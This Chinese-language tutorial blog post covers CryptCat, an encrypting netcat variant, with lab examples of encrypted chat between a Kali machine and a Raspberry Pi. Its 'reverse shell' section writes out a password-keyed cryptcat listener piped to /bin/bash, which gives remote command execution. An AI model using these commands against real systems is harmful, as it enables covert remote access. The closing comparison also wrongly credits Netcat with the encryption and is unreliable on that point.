首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >NC增强工具CryptCat

NC增强工具CryptCat

作者头像
逍遥子大表哥
发布2025-12-24 18:18:50
发布2025-12-24 18:18:50
1480
举报
文章被收录于专栏:kali blogkali blog

🃏前言

CryptCatNetCat的增强版,具有双向加密功能。它可以跨网络连接读取和写入数据,使用 TCPUDP协议。同时对通过网络传输的数据进行加密。且容易被其他程序和脚本驱动。

🏠使用

代码语言:javascript
复制
┌──(root㉿kali)-[~]
└─# cryptcat -h
[v1.10]
connect to somewhere:   nc [-options] hostname port[s] [ports] ... 
listen for inbound:     nc -l -p port [-options] [hostname] [port]
options:
        -g gateway              source-routing hop point[s], up to 8
        -G num                  source-routing pointer: 4, 8, 12, ...
        -h                      this cruft
        -i secs                 delay interval for lines sent, ports scanned
        -l                      listen mode, for inbound connects
        -n                      numeric-only IP addresses, no DNS
        -o file                 hex dump of traffic
        -p port                 local port number
        -r                      randomize local and remote ports
        -s addr                 localsource address
        -u                      UDP mode
        -v                      verbose [use twice to be more verbose]
        -w secs                 timeout for connects and final net reads
        -z                      zero-I/O mode [used for scanning]
port numbers can be individual or ranges: lo-hi [inclusive]

👩‍❤️‍👨聊天

CryptCat可用于在两个用户之间聊天。一个是监听,另一个是发起者。

实验环境

  • 监听端: (kali Linux IP:192.168.123.23)
  • 发起端: (树莓派)

首先我们在kali中进行监听。

代码语言:javascript
复制
cryptcat -l -p 42

42为监听端口,可任意。然后在树莓派中执行命令

代码语言:javascript
复制
cryptcat 192.168.123.23 42

效果如下:

这样便实现了两台系统直接的会话。并且会话是加密的。

NC的聊天是没有加密的

🍇加密聊天会话

CryptCat中,不仅对会话加密,而且还可以自由设置自己的密码。只有输入正确的密码才能聊天哦。在监听我们添加一个参数-k 后跟你的密码,这样便会起到另外一层的保护。

代码语言:javascript
复制
cryptcat -k bbskali.cn -l -p 42

树莓派中执行

代码语言:javascript
复制
cryptcat -k bbskali.cn 192.168.123.23 42

这样便实现了额外的保护。

🌏反向 shell

当然,两台主机之间也可以建立shell连接。攻击机器通过提供密码通过端口接收连接。

监听机:

代码语言:javascript
复制
cryptcat -k bbskali.cn -l -p 3333  | /bin/bash 

树莓派:

代码语言:javascript
复制
cryptcat -k bbskali.cn 192.168.123.23 3333

🚢Netcat vs CryptCat

Netcatnc都使用TCPUDP建立连接。都有相同的功能,如会话聊天和反向shell。而Netcat提供了双向加密,使我们的连接更加安全。而NC不提供加密。

更多教程 关注我们

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2025-11-28,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 kali笔记 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 🃏前言
  • 🏠使用
  • 👩‍❤️‍👨聊天
  • 🍇加密聊天会话
  • 🌏反向 shell
  • 🚢Netcat vs CryptCat
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档